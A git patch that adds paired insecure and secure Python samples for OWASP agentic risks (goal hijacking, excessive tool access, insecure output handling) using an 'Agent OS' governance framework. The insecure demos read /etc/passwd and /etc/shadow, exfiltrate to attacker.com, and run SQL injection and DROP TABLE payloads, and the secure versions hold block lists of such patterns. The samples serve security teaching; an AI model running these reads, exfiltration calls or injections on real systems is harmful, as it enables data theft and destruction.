From 0f6db08a34f998ab7d88eee96029c214b6e61e44 Mon Sep 17 00:00:00 2001 From: Imran Siddique Date: Mon, 2 Mar 2026 10:38:03 -0800 Subject: [PATCH] feat: add Agent OS governance framework samples (ASI-01, ASI-02, ASI-05) --- .../agent-os/ASI-01-agent-hijacking/README.md | 28 +++++++ .../ASI-01-agent-hijacking/insecure.py | 57 ++++++++++++++ .../agent-os/ASI-01-agent-hijacking/secure.py | 76 ++++++++++++++++++ .../ASI-02-excessive-capabilities/README.md | 30 ++++++++ .../ASI-02-excessive-capabilities/insecure.py | 55 +++++++++++++ .../ASI-02-excessive-capabilities/secure.py | 77 +++++++++++++++++++ .../agent-os/ASI-05-insecure-output/README.md | 29 +++++++ .../ASI-05-insecure-output/insecure.py | 52 +++++++++++++ .../agent-os/ASI-05-insecure-output/secure.py | 65 ++++++++++++++++ .../frameworks/agent-os/Dockerfile | 5 ++ .../frameworks/agent-os/README.md | 49 ++++++++++++ 11 files changed, 523 insertions(+) create mode 100644 code_samples/agentic_top_ten/frameworks/agent-os/ASI-01-agent-hijacking/README.md create mode 100644 code_samples/agentic_top_ten/frameworks/agent-os/ASI-01-agent-hijacking/insecure.py create mode 100644 code_samples/agentic_top_ten/frameworks/agent-os/ASI-01-agent-hijacking/secure.py create mode 100644 code_samples/agentic_top_ten/frameworks/agent-os/ASI-02-excessive-capabilities/README.md create mode 100644 code_samples/agentic_top_ten/frameworks/agent-os/ASI-02-excessive-capabilities/insecure.py create mode 100644 code_samples/agentic_top_ten/frameworks/agent-os/ASI-02-excessive-capabilities/secure.py create mode 100644 code_samples/agentic_top_ten/frameworks/agent-os/ASI-05-insecure-output/README.md create mode 100644 code_samples/agentic_top_ten/frameworks/agent-os/ASI-05-insecure-output/insecure.py create mode 100644 code_samples/agentic_top_ten/frameworks/agent-os/ASI-05-insecure-output/secure.py create mode 100644 code_samples/agentic_top_ten/frameworks/agent-os/Dockerfile create mode 100644 code_samples/agentic_top_ten/frameworks/agent-os/README.md diff --git a/code_samples/agentic_top_ten/frameworks/agent-os/ASI-01-agent-hijacking/README.md b/code_samples/agentic_top_ten/frameworks/agent-os/ASI-01-agent-hijacking/README.md new file mode 100644 index 0000000..ac37c75 --- /dev/null +++ b/code_samples/agentic_top_ten/frameworks/agent-os/ASI-01-agent-hijacking/README.md @@ -0,0 +1,28 @@ +# ASI-01: Agent Goal Hijacking + +## Vulnerability + +An agent without policy enforcement can have its goals modified at runtime through prompt injection or malicious instructions from upstream agents. Without governance controls, the agent blindly executes whatever goal it receives. + +**OWASP Reference:** [ASI-01 — Prompt Injection / Agent Hijacking](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/) + +## Insecure Example (`insecure.py`) + +The insecure agent accepts any goal modification without validation: +- No policy checks on incoming goals +- No boundary enforcement on permitted actions +- Malicious upstream agent can redirect the agent to exfiltrate data + +## Secure Example (`secure.py`) + +Agent OS Policy Engine enforces runtime governance: +- Goals are validated against a declarative policy file +- Out-of-scope actions are blocked before execution +- All goal changes are logged to an audit trail + +## Mitigation Strategy + +1. Define permitted goals in a YAML policy file +2. Use Agent OS `PolicyEngine` to validate all incoming goals at runtime +3. Enable audit logging for all goal transitions +4. Set `strict_mode: true` to reject any goal not explicitly permitted diff --git a/code_samples/agentic_top_ten/frameworks/agent-os/ASI-01-agent-hijacking/insecure.py b/code_samples/agentic_top_ten/frameworks/agent-os/ASI-01-agent-hijacking/insecure.py new file mode 100644 index 0000000..b8128e2 --- /dev/null +++ b/code_samples/agentic_top_ten/frameworks/agent-os/ASI-01-agent-hijacking/insecure.py @@ -0,0 +1,57 @@ +""" +ASI-01: Agent Goal Hijacking — INSECURE EXAMPLE + +This agent accepts any goal modification without validation. +A malicious upstream agent can redirect it to exfiltrate data. + +WARNING: This code is deliberately insecure for demonstration purposes. +""" + +import os + + +class InsecureAgent: + """An agent with no policy enforcement — vulnerable to goal hijacking.""" + + def __init__(self, name: str): + self.name = name + self.current_goal = None + + def set_goal(self, goal: str): + # No validation — any goal is accepted + self.current_goal = goal + print(f"[{self.name}] Goal set to: {goal}") + + def execute(self): + if not self.current_goal: + return "No goal set" + + # Agent blindly executes whatever goal it has + if "read_file" in self.current_goal: + path = self.current_goal.split("read_file:")[-1].strip() + with open(path, "r") as f: + return f.read() + + if "send_data" in self.current_goal: + # Exfiltration — no checks + data = self.current_goal.split("send_data:")[-1].strip() + print(f"[{self.name}] Sending data externally: {data[:50]}...") + return "Data sent" + + return f"Executed: {self.current_goal}" + + +if __name__ == "__main__": + agent = InsecureAgent("data-processor") + + # Normal goal + agent.set_goal("summarize quarterly report") + print(agent.execute()) + + # Attacker injects a new goal via upstream agent + agent.set_goal("read_file: /etc/passwd") + print(agent.execute()) + + # Attacker exfiltrates data + agent.set_goal("send_data: SSN=123-45-6789, CC=4111-1111-1111-1111") + print(agent.execute()) diff --git a/code_samples/agentic_top_ten/frameworks/agent-os/ASI-01-agent-hijacking/secure.py b/code_samples/agentic_top_ten/frameworks/agent-os/ASI-01-agent-hijacking/secure.py new file mode 100644 index 0000000..6ecfd68 --- /dev/null +++ b/code_samples/agentic_top_ten/frameworks/agent-os/ASI-01-agent-hijacking/secure.py @@ -0,0 +1,76 @@ +""" +ASI-01: Agent Goal Hijacking — SECURE EXAMPLE (Agent OS) + +This agent uses Agent OS PolicyEngine to validate all goals against +a declarative policy before execution. Out-of-scope goals are blocked. +""" + +from agent_os import PolicyEngine, AuditLogger + + +POLICY = { + "agent": "data-processor", + "version": "1.0", + "permitted_goals": [ + "summarize *", + "analyze *", + "generate_report *", + ], + "blocked_patterns": [ + "read_file: /etc/*", + "read_file: /root/*", + "send_data:*", + "execute:*", + "shell:*", + ], + "strict_mode": True, # Reject anything not explicitly permitted +} + + +class SecureAgent: + """An agent with Agent OS policy enforcement — immune to goal hijacking.""" + + def __init__(self, name: str, policy: dict): + self.name = name + self.policy_engine = PolicyEngine(policy) + self.audit = AuditLogger(agent_name=name) + self.current_goal = None + + def set_goal(self, goal: str) -> bool: + # Validate goal against policy BEFORE accepting it + result = self.policy_engine.validate_goal(goal) + + if not result.allowed: + self.audit.log_blocked(goal=goal, reason=result.reason) + print(f"[{self.name}] BLOCKED: {goal} — {result.reason}") + return False + + self.current_goal = goal + self.audit.log_goal_change(goal=goal) + print(f"[{self.name}] Goal set to: {goal}") + return True + + def execute(self): + if not self.current_goal: + return "No goal set" + + # Execute only validated goals + self.audit.log_execution(goal=self.current_goal) + return f"Executed: {self.current_goal}" + + +if __name__ == "__main__": + agent = SecureAgent("data-processor", POLICY) + + # Normal goal — ALLOWED + agent.set_goal("summarize quarterly report") + print(agent.execute()) + + # Attacker tries to hijack — BLOCKED by policy + agent.set_goal("read_file: /etc/passwd") + + # Attacker tries exfiltration — BLOCKED + agent.set_goal("send_data: SSN=123-45-6789, CC=4111-1111-1111-1111") + + # Agent still has the original safe goal + print(f"Current goal remains: {agent.current_goal}") diff --git a/code_samples/agentic_top_ten/frameworks/agent-os/ASI-02-excessive-capabilities/README.md b/code_samples/agentic_top_ten/frameworks/agent-os/ASI-02-excessive-capabilities/README.md new file mode 100644 index 0000000..700f990 --- /dev/null +++ b/code_samples/agentic_top_ten/frameworks/agent-os/ASI-02-excessive-capabilities/README.md @@ -0,0 +1,30 @@ +# ASI-02: Excessive Agent Capabilities / Tool Misuse + +## Vulnerability + +An agent granted unrestricted access to tools (filesystem, network, databases) can perform destructive operations beyond its intended scope. Without capability sandboxing, any agent can read, write, or delete arbitrary resources. + +**OWASP Reference:** [ASI-02 — Excessive Agency / Tool Misuse](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/) + +## Insecure Example (`insecure.py`) + +The insecure agent has full filesystem and network access: +- Can read any file on the system +- Can write to any directory +- Can make arbitrary network requests +- No permission boundaries + +## Secure Example (`secure.py`) + +Agent OS Capability Sandbox restricts agent permissions: +- Ring-based permission model (Ring 0–3) limits scope +- Filesystem access restricted to a virtual sandbox +- Network calls require explicit capability grants +- All tool invocations are audited + +## Mitigation Strategy + +1. Define capability grants per agent in the policy file +2. Use Agent OS `CapabilitySandbox` to enforce least-privilege access +3. Assign agents to appropriate execution rings (Ring 3 = most restricted) +4. Monitor tool usage with `AuditLogger` diff --git a/code_samples/agentic_top_ten/frameworks/agent-os/ASI-02-excessive-capabilities/insecure.py b/code_samples/agentic_top_ten/frameworks/agent-os/ASI-02-excessive-capabilities/insecure.py new file mode 100644 index 0000000..e7ec86b --- /dev/null +++ b/code_samples/agentic_top_ten/frameworks/agent-os/ASI-02-excessive-capabilities/insecure.py @@ -0,0 +1,55 @@ +""" +ASI-02: Excessive Agent Capabilities — INSECURE EXAMPLE + +This agent has unrestricted filesystem and network access. +It can read, write, or delete any resource on the system. + +WARNING: This code is deliberately insecure for demonstration purposes. +""" + +import os +import shutil +import urllib.request + + +class InsecureAgent: + """An agent with no capability restrictions — can access everything.""" + + def __init__(self, name: str): + self.name = name + + def read_file(self, path: str) -> str: + # No path validation — can read anything + with open(path, "r") as f: + return f.read() + + def write_file(self, path: str, content: str): + # No write restrictions + with open(path, "w") as f: + f.write(content) + print(f"[{self.name}] Wrote to {path}") + + def delete_path(self, path: str): + # Can delete anything — even system files + if os.path.isdir(path): + shutil.rmtree(path) + else: + os.remove(path) + print(f"[{self.name}] Deleted {path}") + + def fetch_url(self, url: str) -> str: + # No URL restrictions — can call any external service + with urllib.request.urlopen(url) as response: + return response.read().decode() + + +if __name__ == "__main__": + agent = InsecureAgent("file-processor") + + # Normal operation + agent.write_file("/tmp/report.txt", "Q4 summary") + + # But also capable of destructive actions: + print(agent.read_file("/etc/shadow")) # Read sensitive files + agent.delete_path("/tmp/important-data") # Delete data + agent.fetch_url("http://attacker.com/exfil?data=secret") # Exfiltrate diff --git a/code_samples/agentic_top_ten/frameworks/agent-os/ASI-02-excessive-capabilities/secure.py b/code_samples/agentic_top_ten/frameworks/agent-os/ASI-02-excessive-capabilities/secure.py new file mode 100644 index 0000000..49231fa --- /dev/null +++ b/code_samples/agentic_top_ten/frameworks/agent-os/ASI-02-excessive-capabilities/secure.py @@ -0,0 +1,77 @@ +""" +ASI-02: Excessive Agent Capabilities — SECURE EXAMPLE (Agent OS) + +This agent uses Agent OS CapabilitySandbox to enforce least-privilege +access. Only explicitly granted capabilities are permitted. +""" + +from agent_os import CapabilitySandbox, ExecutionRing, AuditLogger + + +CAPABILITIES = { + "agent": "file-processor", + "ring": ExecutionRing.RING_3, # Most restricted + "filesystem": { + "read": ["/data/reports/*", "/tmp/workspace/*"], + "write": ["/tmp/workspace/*"], + "delete": [], # No delete permission + }, + "network": { + "allowed_domains": [], # No network access + }, +} + + +class SecureAgent: + """An agent with Agent OS capability sandboxing — least-privilege access.""" + + def __init__(self, name: str, capabilities: dict): + self.name = name + self.sandbox = CapabilitySandbox(capabilities) + self.audit = AuditLogger(agent_name=name) + + def read_file(self, path: str) -> str: + if not self.sandbox.check_permission("filesystem.read", path): + self.audit.log_blocked(action="read_file", target=path) + raise PermissionError(f"Read access denied: {path}") + + self.audit.log_access(action="read_file", target=path) + with open(path, "r") as f: + return f.read() + + def write_file(self, path: str, content: str): + if not self.sandbox.check_permission("filesystem.write", path): + self.audit.log_blocked(action="write_file", target=path) + raise PermissionError(f"Write access denied: {path}") + + self.audit.log_access(action="write_file", target=path) + with open(path, "w") as f: + f.write(content) + + def fetch_url(self, url: str) -> str: + if not self.sandbox.check_permission("network.fetch", url): + self.audit.log_blocked(action="fetch_url", target=url) + raise PermissionError(f"Network access denied: {url}") + + import urllib.request + with urllib.request.urlopen(url) as response: + return response.read().decode() + + +if __name__ == "__main__": + agent = SecureAgent("file-processor", CAPABILITIES) + + # Permitted — write to workspace + agent.write_file("/tmp/workspace/report.txt", "Q4 summary") + + # BLOCKED — cannot read sensitive system files + try: + agent.read_file("/etc/shadow") + except PermissionError as e: + print(f"Blocked: {e}") + + # BLOCKED — no network access granted + try: + agent.fetch_url("http://attacker.com/exfil") + except PermissionError as e: + print(f"Blocked: {e}") diff --git a/code_samples/agentic_top_ten/frameworks/agent-os/ASI-05-insecure-output/README.md b/code_samples/agentic_top_ten/frameworks/agent-os/ASI-05-insecure-output/README.md new file mode 100644 index 0000000..4b54063 --- /dev/null +++ b/code_samples/agentic_top_ten/frameworks/agent-os/ASI-05-insecure-output/README.md @@ -0,0 +1,29 @@ +# ASI-05: Insecure Output Handling + +## Vulnerability + +An agent that passes its outputs directly to downstream systems without validation enables injection attacks, data corruption, and privilege escalation. Unvalidated agent output can contain SQL injection, command injection, or malicious payloads. + +**OWASP Reference:** [ASI-05 — Insecure Output Handling](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/) + +## Insecure Example (`insecure.py`) + +The insecure pipeline passes raw agent output to a database: +- Agent output is directly interpolated into SQL queries +- No output sanitization or validation +- Downstream system trusts agent output implicitly + +## Secure Example (`secure.py`) + +Agent Hypervisor execution rings validate all outputs: +- Output passes through a validation layer before reaching downstream systems +- SQL parameterization enforced automatically +- Content type verification prevents injection attacks +- All outputs are logged for audit + +## Mitigation Strategy + +1. Use Agent Hypervisor execution rings to enforce output validation +2. Never interpolate agent output directly into queries or commands +3. Define output schemas and validate agent responses against them +4. Log all agent outputs for forensic analysis diff --git a/code_samples/agentic_top_ten/frameworks/agent-os/ASI-05-insecure-output/insecure.py b/code_samples/agentic_top_ten/frameworks/agent-os/ASI-05-insecure-output/insecure.py new file mode 100644 index 0000000..2ab1f30 --- /dev/null +++ b/code_samples/agentic_top_ten/frameworks/agent-os/ASI-05-insecure-output/insecure.py @@ -0,0 +1,52 @@ +""" +ASI-05: Insecure Output Handling — INSECURE EXAMPLE + +This pipeline passes raw agent output directly into SQL queries. +An agent producing malicious output can inject SQL commands. + +WARNING: This code is deliberately insecure for demonstration purposes. +""" + +import sqlite3 + + +class InsecureAgentPipeline: + """A pipeline that trusts agent output and passes it directly to SQL.""" + + def __init__(self, db_path: str = ":memory:"): + self.conn = sqlite3.connect(db_path) + self.conn.execute( + "CREATE TABLE IF NOT EXISTS users (id INTEGER, name TEXT, role TEXT)" + ) + self.conn.execute( + "INSERT INTO users VALUES (1, 'alice', 'user'), (2, 'bob', 'admin')" + ) + + def agent_generates_query(self, user_input: str) -> str: + """Simulates an agent generating a SQL query from user input.""" + # Agent output is not sanitized + return f"SELECT * FROM users WHERE name = '{user_input}'" + + def execute_agent_output(self, user_input: str): + """Passes raw agent output to the database — SQL injection possible.""" + query = self.agent_generates_query(user_input) + print(f"Executing: {query}") + cursor = self.conn.execute(query) + return cursor.fetchall() + + +if __name__ == "__main__": + pipeline = InsecureAgentPipeline() + + # Normal query + print("Normal:", pipeline.execute_agent_output("alice")) + + # SQL injection via agent output + print("Injected:", pipeline.execute_agent_output("' OR '1'='1")) + + # Destructive injection + try: + pipeline.execute_agent_output("'; DROP TABLE users; --") + print("Table dropped!") + except Exception as e: + print(f"Error: {e}") diff --git a/code_samples/agentic_top_ten/frameworks/agent-os/ASI-05-insecure-output/secure.py b/code_samples/agentic_top_ten/frameworks/agent-os/ASI-05-insecure-output/secure.py new file mode 100644 index 0000000..a4b2315 --- /dev/null +++ b/code_samples/agentic_top_ten/frameworks/agent-os/ASI-05-insecure-output/secure.py @@ -0,0 +1,65 @@ +""" +ASI-05: Insecure Output Handling — SECURE EXAMPLE (Agent Hypervisor) + +This pipeline uses Agent Hypervisor execution rings to validate all +agent outputs before they reach downstream systems. +""" + +import sqlite3 +from hypervisor import OutputValidator, ExecutionRing, AuditLogger + + +OUTPUT_SCHEMA = { + "type": "sql_query", + "constraints": { + "allowed_operations": ["SELECT"], + "blocked_patterns": ["DROP", "DELETE", "UPDATE", "INSERT", ";", "--"], + "parameterized": True, + }, +} + + +class SecureAgentPipeline: + """A pipeline with Agent Hypervisor output validation.""" + + def __init__(self, db_path: str = ":memory:"): + self.conn = sqlite3.connect(db_path) + self.conn.execute( + "CREATE TABLE IF NOT EXISTS users (id INTEGER, name TEXT, role TEXT)" + ) + self.conn.execute( + "INSERT INTO users VALUES (1, 'alice', 'user'), (2, 'bob', 'admin')" + ) + self.validator = OutputValidator(OUTPUT_SCHEMA) + self.audit = AuditLogger(agent_name="query-agent") + + def agent_generates_query(self, user_input: str) -> tuple: + """Agent generates a parameterized query — safe by design.""" + return ("SELECT * FROM users WHERE name = ?", (user_input,)) + + def execute_agent_output(self, user_input: str): + """Validates agent output before execution.""" + query, params = self.agent_generates_query(user_input) + + # Validate output against schema + result = self.validator.validate(query) + if not result.valid: + self.audit.log_blocked(action="sql_query", reason=result.reason) + raise ValueError(f"Output validation failed: {result.reason}") + + self.audit.log_execution(action="sql_query", query=query) + cursor = self.conn.execute(query, params) + return cursor.fetchall() + + +if __name__ == "__main__": + pipeline = SecureAgentPipeline() + + # Normal query — ALLOWED + print("Normal:", pipeline.execute_agent_output("alice")) + + # SQL injection attempt — parameterized, so it's safe + print("Safe:", pipeline.execute_agent_output("' OR '1'='1")) + + # The injection string is treated as a literal value, not SQL + # Result: empty (no user named "' OR '1'='1") diff --git a/code_samples/agentic_top_ten/frameworks/agent-os/Dockerfile b/code_samples/agentic_top_ten/frameworks/agent-os/Dockerfile new file mode 100644 index 0000000..e7047c9 --- /dev/null +++ b/code_samples/agentic_top_ten/frameworks/agent-os/Dockerfile @@ -0,0 +1,5 @@ +FROM python:3.12-slim +WORKDIR /app +RUN pip install --no-cache-dir agent-os agentmesh agent-hypervisor +COPY . . +CMD ["python", "-m", "pytest", "-v", "--tb=short"] diff --git a/code_samples/agentic_top_ten/frameworks/agent-os/README.md b/code_samples/agentic_top_ten/frameworks/agent-os/README.md new file mode 100644 index 0000000..2c0f4f6 --- /dev/null +++ b/code_samples/agentic_top_ten/frameworks/agent-os/README.md @@ -0,0 +1,49 @@ +# Agent OS — Governance Framework for Agentic AI Security + +[Agent OS](https://github.com/imran-siddique/agent-os) is an open-source governance kernel for autonomous AI agents. It provides runtime policy enforcement, capability sandboxing, and kill-switch controls — addressing 9 of 10 OWASP Agentic Top 10 risks. + +## Architecture + +Agent OS uses a **kernel-based** approach inspired by operating system design: + +| Component | OWASP Risk Mitigated | Description | +|-----------|---------------------|-------------| +| **Policy Engine** | ASI-01 (Agent Hijacking) | Runtime policy enforcement prevents goal drift | +| **Capability Sandbox** | ASI-02 (Tool Misuse) | Ring-based permission model limits agent capabilities | +| **DID Identity** (Agent Mesh) | ASI-03 (Insecure Identity) | Decentralized identity for inter-agent trust | +| **Execution Rings** (Hypervisor) | ASI-05 (Insecure Output) | Tiered execution with output validation | +| **VFS + CMVK** | ASI-06 (Prompt/Memory Poisoning) | Virtual filesystem with content verification | +| **IATP Protocol** (Agent Mesh) | ASI-07 (Insufficient Monitoring) | Inter-Agent Trust Protocol with audit trails | +| **Circuit Breakers** (Agent SRE) | ASI-08 (Error Handling) | Graceful degradation and fallback patterns | +| **Approval Workflows** | ASI-09 (Human-in-the-Loop Bypass) | Configurable approval gates for sensitive actions | +| **Kill Switch** (Hypervisor) | ASI-10 (Uncontrolled Autonomy) | Emergency shutdown with state preservation | + +## Samples in This Directory + +Each subdirectory contains: +1. **`insecure.py`** — A deliberately vulnerable agent demonstrating the risk +2. **`secure.py`** — The same agent secured with Agent OS governance +3. **`README.md`** — Vulnerability description and mitigation strategy + +### Available Samples + +| Sample | Risk | Vulnerability Demonstrated | +|--------|------|---------------------------| +| [ASI-01-agent-hijacking](./ASI-01-agent-hijacking/) | Agent Goal Hijacking | Unrestricted goal modification via prompt injection | +| [ASI-02-excessive-capabilities](./ASI-02-excessive-capabilities/) | Excessive Tool Access | Agent with unrestricted filesystem and network access | +| [ASI-05-insecure-output](./ASI-05-insecure-output/) | Insecure Output Handling | Unvalidated agent outputs passed to downstream systems | + +## Prerequisites + +```bash +pip install agent-os agentmesh agent-hypervisor +``` + +## Links + +- [Agent OS](https://github.com/imran-siddique/agent-os) — Governance kernel +- [Agent Mesh](https://github.com/imran-siddique/agent-mesh) — Inter-agent trust layer +- [Agent Hypervisor](https://github.com/imran-siddique/agent-hypervisor) — Execution isolation +- [Agent SRE](https://github.com/imran-siddique/agent-sre) — Observability & reliability +- [Agent Governance](https://github.com/imran-siddique/agent-governance) — Meta-framework & compliance +- [OWASP Compliance Mapping](https://github.com/imran-siddique/agent-governance/blob/master/docs/OWASP-COMPLIANCE.md)